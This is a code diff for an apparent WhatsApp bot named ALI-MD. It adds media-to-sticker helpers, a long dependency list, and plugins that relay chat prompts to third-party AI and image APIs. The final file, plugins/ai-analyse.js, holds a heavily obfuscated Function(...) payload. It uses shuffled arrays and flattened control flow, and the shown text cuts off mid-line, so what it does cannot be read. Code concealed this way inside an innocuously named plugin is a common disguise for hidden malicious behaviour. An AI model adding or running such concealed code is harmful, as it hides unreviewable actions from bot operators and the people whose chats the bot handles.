|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const axios = require('axios');
|
2 |
+
const fs = require('fs');
|
3 |
+
const path = require('path');
|
4 |
+
const { tmpdir } = require('os');
|
5 |
+
const Crypto = require('crypto');
|
6 |
+
const ffmpegPath = require('@ffmpeg-installer/ffmpeg').path;
|
7 |
+
const ffmpeg = require('fluent-ffmpeg');
|
8 |
+
|
9 |
+
ffmpeg.setFfmpegPath(ffmpegPath);
|
10 |
+
|
11 |
+
/**
|
12 |
+
* Fetch an image from a given URL.
|
13 |
+
* @param {string} url - The image URL.
|
14 |
+
* @returns {Promise<Buffer>} - The image buffer.
|
15 |
+
*/
|
16 |
+
async function fetchImage(url) {
|
17 |
+
try {
|
18 |
+
const response = await axios.get(url, { responseType: 'arraybuffer' });
|
19 |
+
return response.data;
|
20 |
+
} catch (error) {
|
21 |
+
console.error("Error fetching image:", error);
|
22 |
+
throw new Error("Could not fetch image.");
|
23 |
+
}
|
24 |
+
}
|
25 |
+
|
26 |
+
/**
|
27 |
+
* Fetch a GIF from a given API URL.
|
28 |
+
* @param {string} url - API endpoint to fetch GIF.
|
29 |
+
* @returns {Promise<Buffer>} - The GIF buffer.
|
30 |
+
*/
|
31 |
+
async function fetchGif(url) {
|
32 |
+
try {
|
33 |
+
const response = await axios.get(url, { responseType: 'arraybuffer' });
|
34 |
+
return response.data;
|
35 |
+
} catch (error) {
|
36 |
+
console.error("Error fetching GIF:", error);
|
37 |
+
throw new Error("Could not fetch GIF.");
|
38 |
+
}
|
39 |
+
}
|
40 |
+
|
41 |
+
/**
|
42 |
+
* Converts a GIF buffer to WebP sticker format.
|
43 |
+
* @param {Buffer} gifBuffer - The GIF buffer.
|
44 |
+
* @returns {Promise<Buffer>} - The WebP sticker buffer.
|
45 |
+
*/
|
46 |
+
async function gifToSticker(gifBuffer) {
|
47 |
+
const outputPath = path.join(tmpdir(), Crypto.randomBytes(6).toString('hex') + ".webp");
|
48 |
+
const inputPath = path.join(tmpdir(), Crypto.randomBytes(6).toString('hex') + ".gif");
|
49 |
+
|
50 |
+
fs.writeFileSync(inputPath, gifBuffer);
|
51 |
+
|
52 |
+
await new Promise((resolve, reject) => {
|
53 |
+
ffmpeg(inputPath)
|
54 |
+
.on("error", reject)
|
55 |
+
.on("end", () => resolve(true))
|
56 |
+
.addOutputOptions([
|
57 |
+
"-vcodec", "libwebp",
|
58 |
+
"-vf", "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15,pad=320:320:-1:-1:color=white@0.0,split [a][b];[a] palettegen=reserve_transparent=on:transparency_color=ffffff [p];[b][p] paletteuse",
|
59 |
+
"-loop", "0",
|
60 |
+
"-preset", "default",
|
61 |
+
"-an",
|
62 |
+
"-vsync", "0"
|
63 |
+
])
|
64 |
+
.toFormat("webp")
|
65 |
+
.save(outputPath);
|
66 |
+
});
|
67 |
+
|
68 |
+
const webpBuffer = fs.readFileSync(outputPath);
|
69 |
+
fs.unlinkSync(outputPath);
|
70 |
+
fs.unlinkSync(inputPath);
|
71 |
+
|
72 |
+
return webpBuffer;
|
73 |
+
}
|
74 |
+
|
75 |
+
module.exports = { fetchImage, fetchGif, gifToSticker };
|
76 |
+
|
lib/video-utils.js
ADDED
@@ -0,0 +1,56 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const fs = require('fs');
|
2 |
+
const path = require('path');
|
3 |
+
const { tmpdir } = require('os');
|
4 |
+
const Crypto = require('crypto');
|
5 |
+
const ffmpegPath = require('@ffmpeg-installer/ffmpeg').path;
|
6 |
+
const ffmpeg = require('fluent-ffmpeg');
|
7 |
+
|
8 |
+
// Set ffmpeg path
|
9 |
+
ffmpeg.setFfmpegPath(ffmpegPath);
|
10 |
+
|
11 |
+
/**
|
12 |
+
* Converts a video or GIF buffer to a WebP sticker format.
|
13 |
+
* @param {Buffer} videoBuffer - The video or GIF buffer to convert.
|
14 |
+
* @returns {Promise<Buffer>} - The converted WebP sticker buffer.
|
15 |
+
*/
|
16 |
+
async function videoToWebp(videoBuffer) {
|
17 |
+
const outputPath = path.join(
|
18 |
+
tmpdir(),
|
19 |
+
Crypto.randomBytes(6).readUIntLE(0, 6).toString(36) + '.webp'
|
20 |
+
);
|
21 |
+
const inputPath = path.join(
|
22 |
+
tmpdir(),
|
23 |
+
Crypto.randomBytes(6).readUIntLE(0, 6).toString(36) + '.mp4'
|
24 |
+
);
|
25 |
+
|
26 |
+
// Save the video buffer to a file
|
27 |
+
fs.writeFileSync(inputPath, videoBuffer);
|
28 |
+
|
29 |
+
await new Promise((resolve, reject) => {
|
30 |
+
ffmpeg(inputPath)
|
31 |
+
.on('error', reject)
|
32 |
+
.on('end', () => resolve(true))
|
33 |
+
.addOutputOptions([
|
34 |
+
'-vcodec', 'libwebp',
|
35 |
+
'-vf', "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15,pad=320:320:-1:-1:color=white@0.0,split [a][b];[a] palettegen=reserve_transparent=on:transparency_color=ffffff [p];[b][p] paletteuse",
|
36 |
+
'-loop', '0', // Loop forever
|
37 |
+
'-ss', '00:00:00', // Start time (optional)
|
38 |
+
'-t', '00:00:05', // Duration (optional)
|
39 |
+
'-preset', 'default',
|
40 |
+
'-an', // No audio
|
41 |
+
'-vsync', '0'
|
42 |
+
])
|
43 |
+
.toFormat('webp')
|
44 |
+
.save(outputPath);
|
45 |
+
});
|
46 |
+
|
47 |
+
const webpBuffer = fs.readFileSync(outputPath);
|
48 |
+
fs.unlinkSync(outputPath);
|
49 |
+
fs.unlinkSync(inputPath);
|
50 |
+
|
51 |
+
return webpBuffer;
|
52 |
+
}
|
53 |
+
|
54 |
+
module.exports = {
|
55 |
+
videoToWebp
|
56 |
+
};
|
package.json
ADDED
@@ -0,0 +1,130 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"name": "ALI-MD",
|
3 |
+
"version": "1.0.0",
|
4 |
+
"description": "A WhatsApp bot created using Node.js",
|
5 |
+
"main": "index.js",
|
6 |
+
"scripts": {
|
7 |
+
"start": "pm2 start index.js --deep-monitoring --attach --name ALI-MD",
|
8 |
+
"stop": "pm2 stop ALI-MD",
|
9 |
+
"restart": "pm2 restart ALI-MD"
|
10 |
+
},
|
11 |
+
"dependencies": {
|
12 |
+
"@adiwajshing/keyed-db": "^0.2.4",
|
13 |
+
"@black-king/temp-mail-gen": "1.0.1",
|
14 |
+
"@blackamda/song_video_dl": "1.1.0",
|
15 |
+
"@blackamda/telegram-image-url": "^1.0.0",
|
16 |
+
"@bochilteam/scraper": "4.2.4",
|
17 |
+
"@bochilteam/scraper-sosmed": "1.0.5",
|
18 |
+
"@danitech/scraper": "1.0.7",
|
19 |
+
"@ffmpeg-installer/ffmpeg": "^1.1.0",
|
20 |
+
"@google/generative-ai": "0.17.1",
|
21 |
+
"@saipulanuar/scraper": "3.0.0",
|
22 |
+
"@sasmeee/wabetainfo": "1.1.1",
|
23 |
+
"@sl-code-lords/esana-news": "1.0.3",
|
24 |
+
"@sl-code-lords/image-library": "1.0.0",
|
25 |
+
"@sl-code-lords/movie-dl": "1.1.0",
|
26 |
+
"@sl-code-lords/photooxy": "1.0.1",
|
27 |
+
"@sl-code-lords/si-subdl": "1.1.1",
|
28 |
+
"@sl-code-lords/wabetainfo": "1.2.0",
|
29 |
+
"@tobyg74/tiktok-api-dl": "1.0.13",
|
30 |
+
"@dark-yasiya/yt-dl.js":"latest",
|
31 |
+
"@vitalets/google-translate-api": "9.2.0",
|
32 |
+
"@whiskeysockets/baileys": "6.7.9",
|
33 |
+
"api-dylux": "latest",
|
34 |
+
"aptoide-scraper": "1.0.1",
|
35 |
+
"awesome-phonenumber": "7.2.0",
|
36 |
+
"axios": "^1.7.8",
|
37 |
+
"adm-zip": "^0.5.16",
|
38 |
+
"bard-ai": "2.0.3",
|
39 |
+
"betabotz-tools": "0.0.6",
|
40 |
+
"btch-downloader": "2.3.1-alpha",
|
41 |
+
"buffer": "6.0.3",
|
42 |
+
"buffer-url": "1.0.0",
|
43 |
+
"cc-suite": "1.0.5",
|
44 |
+
"chart.js": "^4.4.0",
|
45 |
+
"chatgpt-scraper": "^1.0.1",
|
46 |
+
"cheerio": "^1.0.0-rc.12",
|
47 |
+
"crypto-digest-sync": "^1.0.0",
|
48 |
+
"crypto-js": "latest",
|
49 |
+
"dandi-api": "1.2.0",
|
50 |
+
"emoji-api": "3.0.1",
|
51 |
+
"emoji-mixer": "1.0.33",
|
52 |
+
"express": "latest",
|
53 |
+
"extract-zip": "2.0.1",
|
54 |
+
"fb-info-video": "1.0.2",
|
55 |
+
"ffmpeg": "^0.0.4",
|
56 |
+
"file_size_url": "^1.0.4",
|
57 |
+
"file-type": "^16.5.3",
|
58 |
+
"fluent-ffmpeg": "^2.1.2",
|
59 |
+
"form-data": "^4.0.0",
|
60 |
+
"fouadwa-scraper": "2.0.0",
|
61 |
+
"fraction.js": "^4.3.7",
|
62 |
+
"fs-extra": "^11.1.0",
|
63 |
+
"g4f": "1.4.6",
|
64 |
+
"gemini-ai": "latest",
|
65 |
+
"getscreenshot.js": "1.0.0",
|
66 |
+
"gms-mobile-news": "1.0.0",
|
67 |
+
"google-image-sr": "^1.0.0",
|
68 |
+
"google-it": "^1.6.4",
|
69 |
+
"google-tts-api": "^2.0.2",
|
70 |
+
"human-readable":"0.2.1",
|
71 |
+
"imaginesdk": "latest",
|
72 |
+
"imgur": "latest",
|
73 |
+
"is-standard-emoji": "1.0.0",
|
74 |
+
"jimp": "0.16.1",
|
75 |
+
"lodash": "^4.17.21",
|
76 |
+
"mathjs": "^12.0.0",
|
77 |
+
"mathsteps": "^0.2.0",
|
78 |
+
"megajs": "1.3.4",
|
79 |
+
"mfiredlcore-vihangayt": "^1.0.0",
|
80 |
+
"mime-types": "2.1.35",
|
81 |
+
"nima-wabeta-info": "1.0.5",
|
82 |
+
"node-fetch": "^2.6.1",
|
83 |
+
"pastebin-js": "latest",
|
84 |
+
"pdfkit": "^0.14.0",
|
85 |
+
"path": "^0.12.7",
|
86 |
+
"pino": "^9.5.0",
|
87 |
+
"pm2": "^6.0.5",
|
88 |
+
"PRABATH-MD": "file:",
|
89 |
+
"qr-image": "3.2.0",
|
90 |
+
"qrcode": "1.5.3",
|
91 |
+
"qrcode-terminal": "^0.12.0",
|
92 |
+
"qs": "^6.10.1",
|
93 |
+
"remove-bg-node": "1.0.3",
|
94 |
+
"ruhend-scraper":"8.0.7",
|
95 |
+
"Sachibot-Spotifydl": "git+https://github.com/AlenVelocity/spotifydl-core.git",
|
96 |
+
"scr-emoji": "0.0.3",
|
97 |
+
"seedr": "^1.1.2",
|
98 |
+
"simple-git": "3.22.0",
|
99 |
+
"sinhala-cricket-newsjs": "1.0.0",
|
100 |
+
"sinhala-unicode": "2.0.0",
|
101 |
+
"sequelize": "^6.37.5",
|
102 |
+
"sqlite3": "^5.1.7",
|
103 |
+
"tesseract.js": "2.0.1",
|
104 |
+
"tiktokdl": "0.0.4",
|
105 |
+
"translatte": "^3.0.1",
|
106 |
+
"turndown": "7.1.3",
|
107 |
+
"unzipper": "0.12.2",
|
108 |
+
"util": "^0.12.5",
|
109 |
+
"vihangayt-fbdl": "1.0.2",
|
110 |
+
"vm": "^0.1.0",
|
111 |
+
"wa_set_pkg": "1.0.5",
|
112 |
+
"wa-sticker-formatter": "^4.4.4",
|
113 |
+
"webtorrent": "2.5.1",
|
114 |
+
"xvideos-scraper": "1.0.4",
|
115 |
+
"youtubedl-core": "4.11.7",
|
116 |
+
"ytdl-mp3": "3.4.0",
|
117 |
+
"ytdl-secktor": "latest",
|
118 |
+
"ytmp3-scrap":"1.0.0",
|
119 |
+
"bing-translate-api":"4.0.2",
|
120 |
+
"ruhend-scraper" : "8.0.3",
|
121 |
+
"dark-yasiya-sinhalasub.lk": "1.0.1",
|
122 |
+
"moment-timezone": "^0.5.43",
|
123 |
+
"mfiredlcore-vihangayt": "^1.0.0",
|
124 |
+
"ytsearch-venom": "1.0.0",
|
125 |
+
"yt-search": "2.12.1",
|
126 |
+
"@mrnima/tiktok-downloader":"1.0.0",
|
127 |
+
"@mrnima/facebook-downloader":"1.0.0",
|
128 |
+
"mrnima-moviedl":"1.0.0"
|
129 |
+
}
|
130 |
+
}
|
plugins/.ai.js
ADDED
@@ -0,0 +1,208 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
|
2 |
+
|
3 |
+
const axios = require("axios");
|
4 |
+
const { cmd } = require("../command");
|
5 |
+
|
6 |
+
cmd({
|
7 |
+
pattern: "gpt",
|
8 |
+
alias: "ai",
|
9 |
+
desc: "Interact with ChatGPT using the Dreaded API.",
|
10 |
+
category: "ai",
|
11 |
+
react: "🤖",
|
12 |
+
use: "<your query>",
|
13 |
+
filename: __filename,
|
14 |
+
}, async (conn, mek, m, { from, args, q, reply }) => {
|
15 |
+
try {
|
16 |
+
// Vérification de l'entrée utilisateur
|
17 |
+
if (!q) return reply("*⚠️ Please provide a query for ChatGPT.*\n\n*Example:*\n*.gpt What is AI?*");
|
18 |
+
|
19 |
+
// Utilisation de `${text}` dans le endpoint API
|
20 |
+
const text = q; // Texte de la requête de l'utilisateur
|
21 |
+
const encodedText = encodeURIComponent(text); // S'assurer que le texte est encodé correctement
|
22 |
+
|
23 |
+
const url = `https://api.dreaded.site/api/chatgpt?text=${encodedText}`;
|
24 |
+
|
25 |
+
console.log('Requesting URL:', url); // Afficher l'URL pour vérifier
|
26 |
+
|
27 |
+
// Appel à l'API avec headers personnalisés (ajoute des headers si nécessaire)
|
28 |
+
const response = await axios.get(url, {
|
29 |
+
headers: {
|
30 |
+
'User-Agent': 'Mozilla/5.0', // Ajouter un User-Agent pour simuler une requête valide
|
31 |
+
'Accept': 'application/json', // Spécifier que l'on attend une réponse JSON
|
32 |
+
}
|
33 |
+
});
|
34 |
+
|
35 |
+
// Déboguer et afficher la réponse complète
|
36 |
+
console.log('Full API Response:', response.data);
|
37 |
+
|
38 |
+
// Vérification de la structure de la réponse
|
39 |
+
if (!response || !response.data || !response.data.result) {
|
40 |
+
return reply("❌ No response received from the GPT API. Please try again later.");
|
41 |
+
}
|
42 |
+
|
43 |
+
// Extraire uniquement le texte de la réponse (le prompt)
|
44 |
+
const gptResponse = response.data.result.prompt;
|
45 |
+
|
46 |
+
if (!gptResponse) {
|
47 |
+
return reply("❌ The API returned an unexpected format. Please try again later.");
|
48 |
+
}
|
49 |
+
|
50 |
+
// Image AI à envoyer
|
51 |
+
const ALIVE_IMG = 'https://i.ibb.co/JjD7C5sj/4396ea90a1dcd020.jpg'; // Remplacez par l'URL de votre image AI
|
52 |
+
|
53 |
+
// Légende avec des informations formatées
|
54 |
+
const formattedInfo = `*🤖 ᴄʜᴀᴛ.ɢᴘᴛ ʀᴇsᴘᴏɴsᴇ:*\n\n${gptResponse}`;
|
55 |
+
|
56 |
+
// Envoyer le message avec image et légende
|
57 |
+
await conn.sendMessage(from, {
|
58 |
+
image: { url: ALIVE_IMG }, // Assurez-vous que l'URL est valide
|
59 |
+
caption: formattedInfo,
|
60 |
+
contextInfo: {
|
61 |
+
mentionedJid: [m.sender],
|
62 |
+
forwardingScore: 999,
|
63 |
+
isForwarded: true,
|
64 |
+
forwardedNewsletterMessageInfo: {
|
65 |
+
newsletterJid: '120363318387454868@newsletter',
|
66 |
+
newsletterName: '𝐀ɭι̇ι̇ 𝐌Ɗ 𝐀𝐈 🤖',
|
67 |
+
serverMessageId: 143
|
68 |
+
}
|
69 |
+
}
|
70 |
+
}, { quoted: mek });
|
71 |
+
|
72 |
+
} catch (error) {
|
73 |
+
console.error("Error in GPT command:", error);
|
74 |
+
|
75 |
+
// Affichage du message d'erreur dans la console pour plus de détails
|
76 |
+
if (error.response) {
|
77 |
+
console.log("Error Response Data:", error.response.data);
|
78 |
+
} else {
|
79 |
+
console.log("Error Details:", error.message);
|
80 |
+
}
|
81 |
+
|
82 |
+
// Répondre avec des détails de l'erreur
|
83 |
+
const errorMessage = `
|
84 |
+
❌ An error occurred while processing the GPT command.
|
85 |
+
🛠 *Error Details*:
|
86 |
+
${error.message}
|
87 |
+
|
88 |
+
Please report this issue or try again later.
|
89 |
+
`.trim();
|
90 |
+
return reply(errorMessage);
|
91 |
+
}
|
92 |
+
});
|
93 |
+
cmd({
|
94 |
+
pattern: "llama3",
|
95 |
+
desc: "Get a response from Llama3 AI using the provided prompt.",
|
96 |
+
category: "ai",
|
97 |
+
react: "🤖",
|
98 |
+
filename: __filename,
|
99 |
+
use: ".llama3 <your prompt>"
|
100 |
+
}, async (conn, mek, m, { from, q, reply }) => {
|
101 |
+
try {
|
102 |
+
// Check if a prompt is provided by the user
|
103 |
+
if (!q) return reply("⚠️ Please provide a prompt for Llama3 AI.");
|
104 |
+
|
105 |
+
// Inform the user that the request is being processed
|
106 |
+
await reply("> *Processing your prompt...*");
|
107 |
+
|
108 |
+
// API URL with encoded user prompt
|
109 |
+
const apiUrl = `https://api.davidcyriltech.my.id/ai/llama3?text=${encodeURIComponent(q)}`;
|
110 |
+
|
111 |
+
// Send a GET request to the API
|
112 |
+
const response = await axios.get(apiUrl);
|
113 |
+
console.log("Llama3 API Response:", response.data);
|
114 |
+
|
115 |
+
// Extract AI response
|
116 |
+
let llamaResponse;
|
117 |
+
if (typeof response.data === "string") {
|
118 |
+
llamaResponse = response.data.trim();
|
119 |
+
} else if (typeof response.data === "object") {
|
120 |
+
llamaResponse = response.data.response || response.data.result || JSON.stringify(response.data);
|
121 |
+
} else {
|
122 |
+
llamaResponse = "Unable to process the AI response.";
|
123 |
+
}
|
124 |
+
|
125 |
+
// AI image to attach
|
126 |
+
const AI_IMG = 'https://i.ibb.co/JjD7C5sj/4396ea90a1dcd020.jpg'; // Replace with a valid image URL
|
127 |
+
|
128 |
+
// Formatted response text
|
129 |
+
const formattedInfo = `*🤖 ʟʟᴀᴍᴀ3 ʀᴇsᴘᴏɴsᴇ:*\n\n${llamaResponse}`;
|
130 |
+
|
131 |
+
// Send the response with an image
|
132 |
+
await conn.sendMessage(from, {
|
133 |
+
image: { url: AI_IMG }, // Ensure the URL is valid
|
134 |
+
caption: formattedInfo,
|
135 |
+
contextInfo: {
|
136 |
+
mentionedJid: [m.sender],
|
137 |
+
forwardingScore: 999,
|
138 |
+
isForwarded: true,
|
139 |
+
forwardedNewsletterMessageInfo: {
|
140 |
+
newsletterJid: '120363318387454868@newsletter',
|
141 |
+
newsletterName: '𝐀ɭι̇ι̇ 𝐌Ɗ 𝐀𝐈 🤖',
|
142 |
+
serverMessageId: 143
|
143 |
+
}
|
144 |
+
}
|
145 |
+
}, { quoted: mek });
|
146 |
+
|
147 |
+
} catch (error) {
|
148 |
+
console.error("Error in llama3 command:", error);
|
149 |
+
return reply(`❌ An error occurred: ${error.message}`);
|
150 |
+
}
|
151 |
+
});
|
152 |
+
cmd({
|
153 |
+
pattern: "openai",
|
154 |
+
alias: ["chatgpt", "gpt3", "open-gpt"],
|
155 |
+
desc: "Chat with OpenAI",
|
156 |
+
category: "ai",
|
157 |
+
react: "🧠",
|
158 |
+
filename: __filename
|
159 |
+
},
|
160 |
+
async (conn, mek, m, { from, args, q, reply, react }) => {
|
161 |
+
try {
|
162 |
+
if (!q) return reply("Please provide a message for OpenAI.\nExample: `.openai Hello`");
|
163 |
+
|
164 |
+
const apiUrl = `https://vapis.my.id/api/openai?q=${encodeURIComponent(q)}`;
|
165 |
+
const { data } = await axios.get(apiUrl);
|
166 |
+
|
167 |
+
if (!data || !data.result) {
|
168 |
+
await react("❌");
|
169 |
+
return reply("OpenAI failed to respond. Please try again later.");
|
170 |
+
}
|
171 |
+
|
172 |
+
await reply(`🧠 *OpenAI Response:*\n\n${data.result}`);
|
173 |
+
await react("✅");
|
174 |
+
} catch (e) {
|
175 |
+
console.error("Error in OpenAI command:", e);
|
176 |
+
await react("❌");
|
177 |
+
reply("An error occurred while communicating with OpenAI.");
|
178 |
+
}
|
179 |
+
});
|
180 |
+
|
181 |
+
cmd({
|
182 |
+
pattern: "deepseek",
|
183 |
+
alias: ["deep", "seekai"],
|
184 |
+
desc: "Chat with DeepSeek AI",
|
185 |
+
category: "ai",
|
186 |
+
react: "🧠",
|
187 |
+
filename: __filename
|
188 |
+
},
|
189 |
+
async (conn, mek, m, { from, args, q, reply, react }) => {
|
190 |
+
try {
|
191 |
+
if (!q) return reply("Please provide a message for DeepSeek AI.\nExample: `.deepseek Hello`");
|
192 |
+
|
193 |
+
const apiUrl = `https://api.ryzendesu.vip/api/ai/deepseek?text=${encodeURIComponent(q)}`;
|
194 |
+
const { data } = await axios.get(apiUrl);
|
195 |
+
|
196 |
+
if (!data || !data.answer) {
|
197 |
+
await react("❌");
|
198 |
+
return reply("DeepSeek AI failed to respond. Please try again later.");
|
199 |
+
}
|
200 |
+
|
201 |
+
await reply(`🧠 *DeepSeek AI Response:*\n\n${data.answer}`);
|
202 |
+
await react("✅");
|
203 |
+
} catch (e) {
|
204 |
+
console.error("Error in DeepSeek AI command:", e);
|
205 |
+
await react("❌");
|
206 |
+
reply("An error occurred while communicating with DeepSeek AI.");
|
207 |
+
}
|
208 |
+
});
|
plugins/README.md
ADDED
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
-----------
|
2 |
+
|
3 |
+
***WELCOME TO ALI-MD-V1 PLUGINS LIST CREATED BY ALI 237***
|
4 |
+
|
5 |
+
-----------
|
6 |
+
|
7 |
+
***THE WORLD BEST WHATSAPP BOT***
|
8 |
+
|
9 |
+
----------
|
plugins/action-verite.js
ADDED
@@ -0,0 +1,52 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const config = require('../config');
|
2 |
+
const { cmd, commands } = require('../command');
|
3 |
+
const { fetchJson } = require('../lib/functions');
|
4 |
+
|
5 |
+
|
6 |
+
cmd({
|
7 |
+
pattern: 'fluxpro',
|
8 |
+
alias: 'flux',
|
9 |
+
react: '🧩',
|
10 |
+
desc: 'Generate an image using Flux',
|
11 |
+
category: 'image',
|
12 |
+
filename: __filename
|
13 |
+
}, async (conn, mek, m, {
|
14 |
+
body,
|
15 |
+
from,
|
16 |
+
quoted,
|
17 |
+
isCmd,
|
18 |
+
command,
|
19 |
+
args,
|
20 |
+
q,
|
21 |
+
isGroup,
|
22 |
+
sender,
|
23 |
+
senderNumber,
|
24 |
+
botNumber2,
|
25 |
+
botNumber,
|
26 |
+
pushname,
|
27 |
+
isMe,
|
28 |
+
isOwner,
|
29 |
+
groupMetadata,
|
30 |
+
groupName,
|
31 |
+
participants,
|
32 |
+
groupAdmins,
|
33 |
+
isBotAdmins,
|
34 |
+
isAdmins,
|
35 |
+
reply
|
36 |
+
}) => {
|
37 |
+
try {
|
38 |
+
const text = body.trim().replace(command, '').trim();
|
39 |
+
if (!text) {
|
40 |
+
return reply(`*Usage:* ${command} <prompt>\n\n*Example:* ${command} cat`);
|
41 |
+
}
|
42 |
+
|
43 |
+
await reply('> *ALI-MD PROCESSING IMAGE...*');
|
44 |
+
|
45 |
+
const apiUrl = `https://apis.davidcyriltech.my.id/flux?prompt=${encodeURIComponent(text)}`;
|
46 |
+
|
47 |
+
await conn.sendMessage(m.chat, { image: { url: apiUrl }, caption: `🎨 *FLUX IMAGE GENERATOR*\n\n📄 *PROMPT:* ${text}\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴀʟɪ ᴍᴅ` }, { quoted: m });
|
48 |
+
} catch (error) {
|
49 |
+
console.error('Error in Flux command:', error);
|
50 |
+
reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`);
|
51 |
+
}
|
52 |
+
});
|
plugins/ai-analyse.js
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
|
2 |
+
|
3 |
+
Function("CE7iyK","var l7N8Yqf,t7z2sP7,Cpgwvi,nWc1eC,JD3GJAK,uvNUdK,Vq1RC9,eAjEOR,CvJLwkq,NALWSgm;function ZJKjos(l7N8Yqf,t7z2sP7,Cpgwvi){for(Cpgwvi=0x0;Cpgwvi<t7z2sP7;Cpgwvi++)l7N8Yqf.push(l7N8Yqf.shift());return l7N8Yqf}const j4mj8aI=[0x0,0x1,0x8,0xff,\"length\",0x7,0x12,0x6d,0xbe,0x45,\"undefined\",void 0x0,0x4,0x3,0x2,\"a\",0x3f,0x6,\"fromCodePoint\",0xc,\"push\",0x5b,0x1fff,0x58,0xd,0xe,0xb5,0x69,0x9,\"g\",0x5,\"f\",0xc9,\"b\",\"c\",0x6c,\"e\",0x72,\"h\",0xb3,0x8e,0xa5,0x5f,0x81,0x60,\"i\",0xc4,0xca,0x7f,0x80,0x70,0xdf,0xde,0x8b,0xe3,0x32,\"d\",0xab,0xb8,!0x1,\".\",0xef,0x7e,0x6b,0xc8];w9UYzR(hGVN1M);function w9UYzR(l7N8Yqf,t7z2sP7=j4mj8aI[0x1]){Object.defineProperty(l7N8Yqf,j4mj8aI[0x4],{value:t7z2sP7,configurable:j4mj8aI[0x3b]});return l7N8Yqf}function izMwD19(l7N8Yqf){var t7z2sP7,Cpgwvi;function*nWc1eC(Cpgwvi,nWc1eC,JD3GJAK,uvNUdK,Vq1RC9={H4qd4T:{}}){while(Cpgwvi+nWc1eC+JD3GJAK+uvNUdK!==0x72)with(Vq1RC9.V51u_D||Vq1RC9)switch(Cpgwvi+nWc1eC+JD3GJAK+uvNUdK){case 0x1b:case-0x1d:case uvNUdK- -0x74:[Vq1RC9.H4qd4T.RrUnVSP,Vq1RC9.H4qd4T.NF1mUV,Vq1RC9.H4qd4T.wgB1jt]=[0x48,-0x37,-0x89];case nWc1eC-0x153:case-0x3e:case-0x87:xYKSbnZ(Vq1RC9.V51u_D=Vq1RC9.n5Cllq,Cpgwvi+=-0xb2,nWc1eC+=-0x9b,JD3GJAK+=0x14d,uvNUdK+=0x85);break;case 0x2c:case uvNUdK-0x25:xYKSbnZ(Vq1RC9.H4qd4T.tIwOex=wIXQ7Z0.length,Vq1RC9.H4qd4T.qirY4Z=[],Vq1RC9.V51u_D=Vq1RC9.H4qd4T,Cpgwvi+=-0x2ad,JD3GJAK+=0x154,uvNUdK+=0x2c);break;case 